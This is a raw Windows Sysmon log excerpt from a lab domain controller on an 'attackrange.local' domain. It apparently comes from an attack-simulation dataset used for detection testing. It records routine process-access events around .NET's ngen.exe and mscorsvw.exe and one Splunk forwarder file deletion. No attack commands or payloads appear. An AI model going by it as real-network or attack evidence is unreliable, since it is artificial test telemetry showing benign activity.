14:44:45.874{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3C09-00000000F001}3388C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.813{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3B09-00000000F001}7124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.803{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3B09-00000000F001}7124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.803{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3B09-00000000F001}7124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.753{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3A09-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.743{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3A09-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.743{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3A09-00000000F001}2244C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.683{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3909-00000000F001}5472C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.676{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3909-00000000F001}5472C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.676{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3909-00000000F001}5472C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.623{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3809-00000000F001}1660C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.613{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3809-00000000F001}1660C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044191Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.613{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3809-00000000F001}1660C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044190Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.543{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3709-00000000F001}5532C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044189Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.533{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3709-00000000F001}5532C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044188Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.533{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3709-00000000F001}5532C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044187Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.483{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3609-00000000F001}5944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044186Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.463{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3609-00000000F001}5944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044185Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.463{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3609-00000000F001}5944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.413{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5D-613B-3509-00000000F001}6004C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.393{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5D-613B-3509-00000000F001}6004C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.393{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5D-613B-3509-00000000F001}6004C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:45.383{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=7730D046A52C75AF0C40624C45772168,SHA256=7DD516EE2D628565CFB09BA65C8E27D224471A190DD3B28F0E53FD7BFB1F6323,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 